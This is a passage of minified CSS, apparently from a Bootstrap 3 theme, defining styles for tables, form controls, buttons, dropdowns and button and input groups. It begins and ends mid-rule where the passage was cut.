lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0%}}table{background-color:transparent}caption{padding-top:8px;padding-bottom:8px;color:#999999;text-align:left}th{text-align:left}.table{width:100%;max-width:100%;margin-bottom:21px}.table>thead>tr>th,.table>tbody>tr>th,.table>tfoot>tr>th,.table>thead>tr>td,.table>tbody>tr>td,.table>tfoot>tr>td{padding:8px;line-height:1.42857143;vertical-align:top;border-top:1px solid #dddddd}.table>thead>tr>th{vertical-align:bottom;border-bottom:2px solid #dddddd}.table>caption+thead>tr:first-child>th,.table>colgroup+thead>tr:first-child>th,.table>thead:first-child>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>td{border-top:0}.table>tbody+tbody{border-top:2px solid #dddddd}.table .table{background-color:#ffffff}.table-condensed>thead>tr>th,.table-condensed>tbody>tr>th,.table-condensed>tfoot>tr>th,.table-condensed>thead>tr>td,.table-condensed>tbody>tr>td,.table-condensed>tfoot>tr>td{padding:5px}.table-bordered{border:1px solid #dddddd}.table-bordered>thead>tr>th,.table-bordered>tbody>tr>th,.table-bordered>tfoot>tr>th,.table-bordered>thead>tr>td,.table-bordered>tbody>tr>td,.table-bordered>tfoot>tr>td{border:1px solid #dddddd}.table-bordered>thead>tr>th,.table-bordered>thead>tr>td{border-bottom-width:2px}.table-striped>tbody>tr:nth-of-type(odd){background-color:#f9f9f9}.table-hover>tbody>tr:hover{background-color:#f5f5f5}table col[class*="col-"]{position:static;float:none;display:table-column}table td[class*="col-"],table th[class*="col-"]{position:static;float:none;display:table-cell}.table>thead>tr>td.active,.table>tbody>tr>td.active,.table>tfoot>tr>td.active,.table>thead>tr>th.active,.table>tbody>tr>th.active,.table>tfoot>tr>th.active,.table>thead>tr.active>td,.table>tbody>tr.active>td,.table>tfoot>tr.active>td,.table>thead>tr.active>th,.table>tbody>tr.active>th,.table>tfoot>tr.active>th{background-color:#f5f5f5}.table-hover>tbody>tr>td.active:hover,.table-hover>tbody>tr>th.active:hover,.table-hover>tbody>tr.active:hover>td,.table-hover>tbody>tr:hover>.active,.table-hover>tbody>tr.active:hover>th{background-color:#e8e8e8}.table>thead>tr>td.success,.table>tbody>tr>td.success,.table>tfoot>tr>td.success,.table>thead>tr>th.success,.table>tbody>tr>th.success,.table>tfoot>tr>th.success,.table>thead>tr.success>td,.table>tbody>tr.success>td,.table>tfoot>tr.success>td,.table>thead>tr.success>th,.table>tbody>tr.success>th,.table>tfoot>tr.success>th{background-color:#3fb618}.table-hover>tbody>tr>td.success:hover,.table-hover>tbody>tr>th.success:hover,.table-hover>tbody>tr.success:hover>td,.table-hover>tbody>tr:hover>.success,.table-hover>tbody>tr.success:hover>th{background-color:#379f15}.table>thead>tr>td.info,.table>tbody>tr>td.info,.table>tfoot>tr>td.info,.table>thead>tr>th.info,.table>tbody>tr>th.info,.table>tfoot>tr>th.info,.table>thead>tr.info>td,.table>tbody>tr.info>td,.table>tfoot>tr.info>td,.table>thead>tr.info>th,.table>tbody>tr.info>th,.table>tfoot>tr.info>th{background-color:#9954bb}.table-hover>tbody>tr>td.info:hover,.table-hover>tbody>tr>th.info:hover,.table-hover>tbody>tr.info:hover>td,.table-hover>tbody>tr:hover>.info,.table-hover>tbody>tr.info:hover>th{background-color:#8d46b0}.table>thead>tr>td.warning,.table>tbody>tr>td.warning,.table>tfoot>tr>td.warning,.table>thead>tr>th.warning,.table>tbody>tr>th.warning,.table>tfoot>tr>th.warning,.table>thead>tr.warning>td,.table>tbody>tr.warning>td,.table>tfoot>tr.warning>td,.table>thead>tr.warning>th,.table>tbody>tr.warning>th,.table>tfoot>tr.warning>th{background-color:#ff7518}.table-hover>tbody>tr>td.warning:hover,.table-hover>tbody>tr>th.warning:hover,.table-hover>tbody>tr.warning:hover>td,.table-hover>tbody>tr:hover>.warning,.table-hover>tbody>tr.warning:hover>th{background-color:#fe6600}.table>thead>tr>td.danger,.table>tbody>tr>td.danger,.table>tfoot>tr>td.danger,.table>thead>tr>th.danger,.table>tbody>tr>th.danger,.table>tfoot>tr>th.danger,.table>thead>tr.danger>td,.table>tbody>tr.danger>td,.table>tfoot>tr.danger>td,.table>thead>tr.danger>th,.table>tbody>tr.danger>th,.table>tfoot>tr.danger>th{background-color:#ff0039}.table-hover>tbody>tr>td.danger:hover,.table-hover>tbody>tr>th.danger:hover,.table-hover>tbody>tr.danger:hover>td,.table-hover>tbody>tr:hover>.danger,.table-hover>tbody>tr.danger:hover>th{background-color:#e60033}.table-responsive{overflow-x:auto;min-height:0.01%}@media screen and (max-width:767px){.table-responsive{width:100%;margin-bottom:15.75px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar;border:1px solid #dddddd}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table-responsive>.table>tbody>tr>th,.table-responsive>.table>tfoot>tr>th,.table-responsive>.table>thead>tr>td,.table-responsive>.table>tbody>tr>td,.table-responsive>.table>tfoot>tr>td{white-space:nowrap}.table-responsive>.table-bordered{border:0}.table-responsive>.table-bordered>thead>tr>th:first-child,.table-responsive>.table-bordered>tbody>tr>th:first-child,.table-responsive>.table-bordered>tfoot>tr>th:first-child,.table-responsive>.table-bordered>thead>tr>td:first-child,.table-responsive>.table-bordered>tbody>tr>td:first-child,.table-responsive>.table-bordered>tfoot>tr>td:first-child{border-left:0}.table-responsive>.table-bordered>thead>tr>th:last-child,.table-responsive>.table-bordered>tbody>tr>th:last-child,.table-responsive>.table-bordered>tfoot>tr>th:last-child,.table-responsive>.table-bordered>thead>tr>td:last-child,.table-responsive>.table-bordered>tbody>tr>td:last-child,.table-responsive>.table-bordered>tfoot>tr>td:last-child{border-right:0}.table-responsive>.table-bordered>tbody>tr:last-child>th,.table-responsive>.table-bordered>tfoot>tr:last-child>th,.table-responsive>.table-bordered>tbody>tr:last-child>td,.table-responsive>.table-bordered>tfoot>tr:last-child>td{border-bottom:0}}fieldset{padding:0;margin:0;border:0;min-width:0}legend{display:block;width:100%;padding:0;margin-bottom:21px;font-size:22.5px;line-height:inherit;color:#333333;border:0;border-bottom:1px solid #e5e5e5}label{display:inline-block;max-width:100%;margin-bottom:5px;font-weight:bold}input[type="search"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}input[type="radio"],input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;line-height:normal}input[type="file"]{display:block}input[type="range"]{display:block;width:100%}select[multiple],select[size]{height:auto}input[type="file"]:focus,input[type="radio"]:focus,input[type="checkbox"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}output{display:block;padding-top:11px;font-size:15px;line-height:1.42857143;color:#333333}.form-control{display:block;width:100%;height:43px;padding:10px 18px;font-size:15px;line-height:1.42857143;color:#333333;background-color:#ffffff;background-image:none;border:1px solid #cccccc;border-radius:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);-webkit-transition:border-color ease-in-out .15s,-webkit-box-shadow ease-in-out .15s;-o-transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s;transition:border-color ease-in-out .15s,box-shadow ease-in-out .15s}.form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 8px rgba(102,175,233,0.6)}.form-control::-moz-placeholder{color:#999999;opacity:1}.form-control:-ms-input-placeholder{color:#999999}.form-control::-webkit-input-placeholder{color:#999999}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{cursor:not-allowed;background-color:#e6e6e6;opacity:1}textarea.form-control{height:auto}input[type="search"]{-webkit-appearance:none}@media screen and (-webkit-min-device-pixel-ratio:0){input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{line-height:43px}input[type="date"].input-sm,input[type="time"].input-sm,input[type="datetime-local"].input-sm,input[type="month"].input-sm,.input-group-sm input[type="date"],.input-group-sm input[type="time"],.input-group-sm input[type="datetime-local"],.input-group-sm input[type="month"]{line-height:31px}input[type="date"].input-lg,input[type="time"].input-lg,input[type="datetime-local"].input-lg,input[type="month"].input-lg,.input-group-lg input[type="date"],.input-group-lg input[type="time"],.input-group-lg input[type="datetime-local"],.input-group-lg input[type="month"]{line-height:64px}}.form-group{margin-bottom:15px}.radio,.checkbox{position:relative;display:block;margin-top:10px;margin-bottom:10px}.radio label,.checkbox label{min-height:21px;padding-left:20px;margin-bottom:0;font-weight:normal;cursor:pointer}.radio input[type="radio"],.radio-inline input[type="radio"],.checkbox input[type="checkbox"],.checkbox-inline input[type="checkbox"]{position:absolute;margin-left:-20px;margin-top:4px \9}.radio+.radio,.checkbox+.checkbox{margin-top:-5px}.radio-inline,.checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.radio-inline+.radio-inline,.checkbox-inline+.checkbox-inline{margin-top:0;margin-left:10px}input[type="radio"][disabled],input[type="checkbox"][disabled],input[type="radio"].disabled,input[type="checkbox"].disabled,fieldset[disabled] input[type="radio"],fieldset[disabled] input[type="checkbox"]{cursor:not-allowed}.radio-inline.disabled,.checkbox-inline.disabled,fieldset[disabled] .radio-inline,fieldset[disabled] .checkbox-inline{cursor:not-allowed}.radio.disabled label,.checkbox.disabled label,fieldset[disabled] .radio label,fieldset[disabled] .checkbox label{cursor:not-allowed}.form-control-static{padding-top:11px;padding-bottom:11px;margin-bottom:0}.form-control-static.input-lg,.form-control-static.input-sm{padding-left:0;padding-right:0}.input-sm{height:31px;padding:5px 10px;font-size:13px;line-height:1.5;border-radius:0}select.input-sm{height:31px;line-height:31px}textarea.input-sm,select[multiple].input-sm{height:auto}.form-group-sm .form-control{height:31px;padding:5px 10px;font-size:13px;line-height:1.5;border-radius:0}select.form-group-sm .form-control{height:31px;line-height:31px}textarea.form-group-sm .form-control,select[multiple].form-group-sm .form-control{height:auto}.form-group-sm .form-control-static{height:31px;padding:5px 10px;font-size:13px;line-height:1.5}.input-lg{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}select.input-lg{height:64px;line-height:64px}textarea.input-lg,select[multiple].input-lg{height:auto}.form-group-lg .form-control{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}select.form-group-lg .form-control{height:64px;line-height:64px}textarea.form-group-lg .form-control,select[multiple].form-group-lg .form-control{height:auto}.form-group-lg .form-control-static{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333}.has-feedback{position:relative}.has-feedback .form-control{padding-right:53.75px}.form-control-feedback{position:absolute;top:0;right:0;z-index:2;display:block;width:43px;height:43px;line-height:43px;text-align:center;pointer-events:none}.input-lg+.form-control-feedback{width:64px;height:64px;line-height:64px}.input-sm+.form-control-feedback{width:31px;height:31px;line-height:31px}.has-success .help-block,.has-success .control-label,.has-success .radio,.has-success .checkbox,.has-success .radio-inline,.has-success .checkbox-inline,.has-success.radio label,.has-success.checkbox label,.has-success.radio-inline label,.has-success.checkbox-inline label{color:#ffffff}.has-success .form-control{border-color:#ffffff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-success .form-control:focus{border-color:#e6e6e6;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff}.has-success .input-group-addon{color:#ffffff;border-color:#ffffff;background-color:#3fb618}.has-success .form-control-feedback{color:#ffffff}.has-warning .help-block,.has-warning .control-label,.has-warning .radio,.has-warning .checkbox,.has-warning .radio-inline,.has-warning .checkbox-inline,.has-warning.radio label,.has-warning.checkbox label,.has-warning.radio-inline label,.has-warning.checkbox-inline label{color:#ffffff}.has-warning .form-control{border-color:#ffffff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-warning .form-control:focus{border-color:#e6e6e6;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff}.has-warning .input-group-addon{color:#ffffff;border-color:#ffffff;background-color:#ff7518}.has-warning .form-control-feedback{color:#ffffff}.has-error .help-block,.has-error .control-label,.has-error .radio,.has-error .checkbox,.has-error .radio-inline,.has-error .checkbox-inline,.has-error.radio label,.has-error.checkbox label,.has-error.radio-inline label,.has-error.checkbox-inline label{color:#ffffff}.has-error .form-control{border-color:#ffffff;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.has-error .form-control:focus{border-color:#e6e6e6;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #fff}.has-error .input-group-addon{color:#ffffff;border-color:#ffffff;background-color:#ff0039}.has-error .form-control-feedback{color:#ffffff}.has-feedback label~.form-control-feedback{top:26px}.has-feedback label.sr-only~.form-control-feedback{top:0}.help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media (min-width:768px){.form-inline .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.form-inline .form-control{display:inline-block;width:auto;vertical-align:middle}.form-inline .form-control-static{display:inline-block}.form-inline .input-group{display:inline-table;vertical-align:middle}.form-inline .input-group .input-group-addon,.form-inline .input-group .input-group-btn,.form-inline .input-group .form-control{width:auto}.form-inline .input-group>.form-control{width:100%}.form-inline .control-label{margin-bottom:0;vertical-align:middle}.form-inline .radio,.form-inline .checkbox{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.form-inline .radio label,.form-inline .checkbox label{padding-left:0}.form-inline .radio input[type="radio"],.form-inline .checkbox input[type="checkbox"]{position:relative;margin-left:0}.form-inline .has-feedback .form-control-feedback{top:0}}.form-horizontal .radio,.form-horizontal .checkbox,.form-horizontal .radio-inline,.form-horizontal .checkbox-inline{margin-top:0;margin-bottom:0;padding-top:11px}.form-horizontal .radio,.form-horizontal .checkbox{min-height:32px}.form-horizontal .form-group{margin-left:-15px;margin-right:-15px}@media (min-width:768px){.form-horizontal .control-label{text-align:right;margin-bottom:0;padding-top:11px}}.form-horizontal .has-feedback .form-control-feedback{right:15px}@media (min-width:768px){.form-horizontal .form-group-lg .control-label{padding-top:24.9999994px}}@media (min-width:768px){.form-horizontal .form-group-sm .control-label{padding-top:6px}}.btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;-ms-touch-action:manipulation;touch-action:manipulation;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:10px 18px;font-size:15px;line-height:1.42857143;border-radius:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.btn:focus,.btn:active:focus,.btn.active:focus,.btn.focus,.btn:active.focus,.btn.active.focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.btn:hover,.btn:focus,.btn.focus{color:#ffffff;text-decoration:none}.btn:active,.btn.active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn.disabled,.btn[disabled],fieldset[disabled] .btn{cursor:not-allowed;pointer-events:none;opacity:0.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}.btn-default{color:#ffffff;background-color:#222222;border-color:#222222}.btn-default:hover,.btn-default:focus,.btn-default.focus,.btn-default:active,.btn-default.active,.open>.dropdown-toggle.btn-default{color:#ffffff;background-color:#090909;border-color:#040404}.btn-default:active,.btn-default.active,.open>.dropdown-toggle.btn-default{background-image:none}.btn-default.disabled,.btn-default[disabled],fieldset[disabled] .btn-default,.btn-default.disabled:hover,.btn-default[disabled]:hover,fieldset[disabled] .btn-default:hover,.btn-default.disabled:focus,.btn-default[disabled]:focus,fieldset[disabled] .btn-default:focus,.btn-default.disabled.focus,.btn-default[disabled].focus,fieldset[disabled] .btn-default.focus,.btn-default.disabled:active,.btn-default[disabled]:active,fieldset[disabled] .btn-default:active,.btn-default.disabled.active,.btn-default[disabled].active,fieldset[disabled] .btn-default.active{background-color:#222222;border-color:#222222}.btn-default .badge{color:#222222;background-color:#ffffff}.btn-primary{color:#ffffff;background-color:#2780e3;border-color:#2780e3}.btn-primary:hover,.btn-primary:focus,.btn-primary.focus,.btn-primary:active,.btn-primary.active,.open>.dropdown-toggle.btn-primary{color:#ffffff;background-color:#1967be;border-color:#1862b5}.btn-primary:active,.btn-primary.active,.open>.dropdown-toggle.btn-primary{background-image:none}.btn-primary.disabled,.btn-primary[disabled],fieldset[disabled] .btn-primary,.btn-primary.disabled:hover,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary:hover,.btn-primary.disabled:focus,.btn-primary[disabled]:focus,fieldset[disabled] .btn-primary:focus,.btn-primary.disabled.focus,.btn-primary[disabled].focus,fieldset[disabled] .btn-primary.focus,.btn-primary.disabled:active,.btn-primary[disabled]:active,fieldset[disabled] .btn-primary:active,.btn-primary.disabled.active,.btn-primary[disabled].active,fieldset[disabled] .btn-primary.active{background-color:#2780e3;border-color:#2780e3}.btn-primary .badge{color:#2780e3;background-color:#ffffff}.btn-success{color:#ffffff;background-color:#3fb618;border-color:#3fb618}.btn-success:hover,.btn-success:focus,.btn-success.focus,.btn-success:active,.btn-success.active,.open>.dropdown-toggle.btn-success{color:#ffffff;background-color:#2f8912;border-color:#2c8011}.btn-success:active,.btn-success.active,.open>.dropdown-toggle.btn-success{background-image:none}.btn-success.disabled,.btn-success[disabled],fieldset[disabled] .btn-success,.btn-success.disabled:hover,.btn-success[disabled]:hover,fieldset[disabled] .btn-success:hover,.btn-success.disabled:focus,.btn-success[disabled]:focus,fieldset[disabled] .btn-success:focus,.btn-success.disabled.focus,.btn-success[disabled].focus,fieldset[disabled] .btn-success.focus,.btn-success.disabled:active,.btn-success[disabled]:active,fieldset[disabled] .btn-success:active,.btn-success.disabled.active,.btn-success[disabled].active,fieldset[disabled] .btn-success.active{background-color:#3fb618;border-color:#3fb618}.btn-success .badge{color:#3fb618;background-color:#ffffff}.btn-info{color:#ffffff;background-color:#9954bb;border-color:#9954bb}.btn-info:hover,.btn-info:focus,.btn-info.focus,.btn-info:active,.btn-info.active,.open>.dropdown-toggle.btn-info{color:#ffffff;background-color:#7e3f9d;border-color:#783c96}.btn-info:active,.btn-info.active,.open>.dropdown-toggle.btn-info{background-image:none}.btn-info.disabled,.btn-info[disabled],fieldset[disabled] .btn-info,.btn-info.disabled:hover,.btn-info[disabled]:hover,fieldset[disabled] .btn-info:hover,.btn-info.disabled:focus,.btn-info[disabled]:focus,fieldset[disabled] .btn-info:focus,.btn-info.disabled.focus,.btn-info[disabled].focus,fieldset[disabled] .btn-info.focus,.btn-info.disabled:active,.btn-info[disabled]:active,fieldset[disabled] .btn-info:active,.btn-info.disabled.active,.btn-info[disabled].active,fieldset[disabled] .btn-info.active{background-color:#9954bb;border-color:#9954bb}.btn-info .badge{color:#9954bb;background-color:#ffffff}.btn-warning{color:#ffffff;background-color:#ff7518;border-color:#ff7518}.btn-warning:hover,.btn-warning:focus,.btn-warning.focus,.btn-warning:active,.btn-warning.active,.open>.dropdown-toggle.btn-warning{color:#ffffff;background-color:#e45c00;border-color:#da5800}.btn-warning:active,.btn-warning.active,.open>.dropdown-toggle.btn-warning{background-image:none}.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-warning,.btn-warning.disabled:hover,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning:hover,.btn-warning.disabled:focus,.btn-warning[disabled]:focus,fieldset[disabled] .btn-warning:focus,.btn-warning.disabled.focus,.btn-warning[disabled].focus,fieldset[disabled] .btn-warning.focus,.btn-warning.disabled:active,.btn-warning[disabled]:active,fieldset[disabled] .btn-warning:active,.btn-warning.disabled.active,.btn-warning[disabled].active,fieldset[disabled] .btn-warning.active{background-color:#ff7518;border-color:#ff7518}.btn-warning .badge{color:#ff7518;background-color:#ffffff}.btn-danger{color:#ffffff;background-color:#ff0039;border-color:#ff0039}.btn-danger:hover,.btn-danger:focus,.btn-danger.focus,.btn-danger:active,.btn-danger.active,.open>.dropdown-toggle.btn-danger{color:#ffffff;background-color:#cc002e;border-color:#c2002b}.btn-danger:active,.btn-danger.active,.open>.dropdown-toggle.btn-danger{background-image:none}.btn-danger.disabled,.btn-danger[disabled],fieldset[disabled] .btn-danger,.btn-danger.disabled:hover,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger:hover,.btn-danger.disabled:focus,.btn-danger[disabled]:focus,fieldset[disabled] .btn-danger:focus,.btn-danger.disabled.focus,.btn-danger[disabled].focus,fieldset[disabled] .btn-danger.focus,.btn-danger.disabled:active,.btn-danger[disabled]:active,fieldset[disabled] .btn-danger:active,.btn-danger.disabled.active,.btn-danger[disabled].active,fieldset[disabled] .btn-danger.active{background-color:#ff0039;border-color:#ff0039}.btn-danger .badge{color:#ff0039;background-color:#ffffff}.btn-link{color:#2780e3;font-weight:normal;border-radius:0}.btn-link,.btn-link:active,.btn-link.active,.btn-link[disabled],fieldset[disabled] .btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.btn-link,.btn-link:hover,.btn-link:focus,.btn-link:active{border-color:transparent}.btn-link:hover,.btn-link:focus{color:#165ba8;text-decoration:underline;background-color:transparent}.btn-link[disabled]:hover,fieldset[disabled] .btn-link:hover,.btn-link[disabled]:focus,fieldset[disabled] .btn-link:focus{color:#999999;text-decoration:none}.btn-lg,.btn-group-lg>.btn{padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}.btn-sm,.btn-group-sm>.btn{padding:5px 10px;font-size:13px;line-height:1.5;border-radius:0}.btn-xs,.btn-group-xs>.btn{padding:1px 5px;font-size:13px;line-height:1.5;border-radius:0}.btn-block{display:block;width:100%}.btn-block+.btn-block{margin-top:5px}input[type="submit"].btn-block,input[type="reset"].btn-block,input[type="button"].btn-block{width:100%}.fade{opacity:0;-webkit-transition:opacity 0.15s linear;-o-transition:opacity 0.15s linear;transition:opacity 0.15s linear}.fade.in{opacity:1}.collapse{display:none;visibility:hidden}.collapse.in{display:block;visibility:visible}tr.collapse.in{display:table-row}tbody.collapse.in{display:table-row-group}.collapsing{position:relative;height:0;overflow:hidden;-webkit-transition-property:height, visibility;-o-transition-property:height, visibility;transition-property:height, visibility;-webkit-transition-duration:0.35s;-o-transition-duration:0.35s;transition-duration:0.35s;-webkit-transition-timing-function:ease;-o-transition-timing-function:ease;transition-timing-function:ease}.caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.dropup,.dropdown{position:relative}.dropdown-toggle:focus{outline:0}.dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:15px;text-align:left;background-color:#ffffff;border:1px solid #cccccc;border:1px solid rgba(0,0,0,0.15);border-radius:0;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);-webkit-background-clip:padding-box;background-clip:padding-box}.dropdown-menu.pull-right{right:0;left:auto}.dropdown-menu .divider{height:1px;margin:9.5px 0;overflow:hidden;background-color:#e5e5e5}.dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333333;white-space:nowrap}.dropdown-menu>li>a:hover,.dropdown-menu>li>a:focus{text-decoration:none;color:#ffffff;background-color:#2780e3}.dropdown-menu>.active>a,.dropdown-menu>.active>a:hover,.dropdown-menu>.active>a:focus{color:#ffffff;text-decoration:none;outline:0;background-color:#2780e3}.dropdown-menu>.disabled>a,.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{color:#999999}.dropdown-menu>.disabled>a:hover,.dropdown-menu>.disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);cursor:not-allowed}.open>.dropdown-menu{display:block}.open>a{outline:0}.dropdown-menu-right{left:auto;right:0}.dropdown-menu-left{left:0;right:auto}.dropdown-header{display:block;padding:3px 20px;font-size:13px;line-height:1.42857143;color:#999999;white-space:nowrap}.dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.pull-right>.dropdown-menu{right:0;left:auto}.dropup .caret,.navbar-fixed-bottom .dropdown .caret{border-top:0;border-bottom:4px solid;content:""}.dropup .dropdown-menu,.navbar-fixed-bottom .dropdown .dropdown-menu{top:auto;bottom:100%;margin-bottom:2px}@media (min-width:768px){.navbar-right .dropdown-menu{left:auto;right:0}.navbar-right .dropdown-menu-left{left:0;right:auto}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group>.btn,.btn-group-vertical>.btn{position:relative;float:left}.btn-group>.btn:hover,.btn-group-vertical>.btn:hover,.btn-group>.btn:focus,.btn-group-vertical>.btn:focus,.btn-group>.btn:active,.btn-group-vertical>.btn:active,.btn-group>.btn.active,.btn-group-vertical>.btn.active{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-bottom-left-radius:0;border-top-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-top-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-bottom-left-radius:0;border-top-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-left:8px;padding-right:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-left:12px;padding-right:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-bottom-left-radius:0;border-top-right-radius:0;border-top-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-right-radius:0;border-top-left-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{float:none;display:table-cell;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle="buttons"]>.btn input[type="radio"],[data-toggle="buttons"]>.btn-group>.btn input[type="radio"],[data-toggle="buttons"]>.btn input[type="checkbox"],[data-toggle="buttons"]>.btn-group>.btn input[type="checkbox"]{position:absolute;clip:rect(0, 0, 0, 0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*="col-"]{float:none;padding-left:0;padding-right:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:64px;padding:18px 30px;font-size:19px;line-height:1.3333333;border-radius:0}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:64px;line-height:64px}textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn,select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:31px;padding:5px 